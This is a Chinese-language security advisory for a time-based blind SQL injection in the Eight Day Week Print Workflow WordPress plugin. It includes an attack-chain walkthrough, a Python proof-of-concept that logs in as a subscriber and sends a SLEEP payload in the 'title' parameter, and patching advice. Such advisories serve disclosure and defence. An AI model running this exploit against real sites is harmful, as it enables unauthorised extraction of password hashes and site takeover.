CVE-2026-5028 WordPress插件SQL注入漏洞

漏洞信息

漏洞编号

CVE-2026-5028

漏洞类型

SQL注入

CVSS评分

6.5 中危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

Eight Day Week Print Workflow Plugin for WordPress

漏洞概述

Eight Day Week Print Workflow WordPress插件被发现存在基于时间的盲注SQL注入漏洞。该漏洞影响1.2.6及以下所有版本，根本原因在于`pp-get-articles` AJAX操作中对用户输入的`title`参数未进行充分转义。这使得仅拥有订阅者权限的攻击者即可通过构造恶意请求，从数据库中提取敏感数据。

技术细节

该漏洞核心在于插件对`pp-get-articles` AJAX动作中`title`参数的处理不当。开发者未对用户输入进行严格的转义或使用预处理语句，直接将其嵌入SQL查询，导致了SQL注入漏洞。值得注意的是，该漏洞的利用门槛较低，攻击者仅需拥有订阅者（Subscriber）级别的低权限账号即可发起攻击。利用方式主要是基于时间的盲注，攻击者通过在注入点插入`IF(SLEEP(5), ...)`等逻辑，根据服务器响应的延迟来判断SQL语句的真假。通过这种逐位猜测的方式，攻击者可以绕过前端过滤，从数据库中提取管理员密码哈希、配置信息等敏感数据，进而可能接管网站权限。

攻击链分析

STEP 1

步骤1：信息收集

攻击者识别目标网站安装了Eight Day Week Print Workflow插件，且版本在1.2.6及以下。

STEP 2

步骤2：获取低权限账号

攻击者注册或获取一个WordPress网站的订阅者（Subscriber）级别账号。

STEP 3

步骤3：发送恶意请求

攻击者使用该账号登录，并向`/wp-admin/admin-ajax.php`发送POST请求，参数为`action=pp-get-articles`，并在`title`参数中注入基于时间的盲注Payload。

STEP 4

步骤4：数据提取

攻击者根据服务器响应的时间延迟判断SQL语句执行结果，逐位提取数据库中的敏感信息（如用户名、密码哈希等）。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Target configuration
target_url = "http://example.com/wp-admin/admin-ajax.php"
# Attacker credentials (Subscriber level)
login_url = "http://example.com/wp-login.php"
username = "attacker"
password = "password"

session = requests.Session()

# 1. Authenticate
login_data = {
    "log": username,
    "pwd": password,
    "redirect_to": target_url,
    "testcookie": "1"
}
session.post(login_url, data=login_data)

# 2. Exploit Payload (Time-based Blind SQL Injection)
# Checking if the first character of the database user is 'a' (ASCII 97)
payload = "1' AND IF(SUBSTRING(user(),1,1)='a',SLEEP(5),0)-- -"

data = {
    "action": "pp-get-articles",
    "title": payload
}

# Send request and measure time
try:
    response = session.post(target_url, data=data, timeout=10)
    # If response takes > 5 seconds, condition is true
    print("Check response time to confirm vulnerability.")
except requests.exceptions.Timeout:
    print("Potential vulnerability confirmed (Timeout).")

影响范围

Eight Day Week Print Workflow <= 1.2.6

防御指南

临时缓解措施

如果无法立即升级，建议暂时禁用该插件。或者修改插件源代码，使用`$wpdb->prepare()`对`title`参数进行安全的SQL预处理。同时，管理员应检查数据库是否存在异常数据泄露。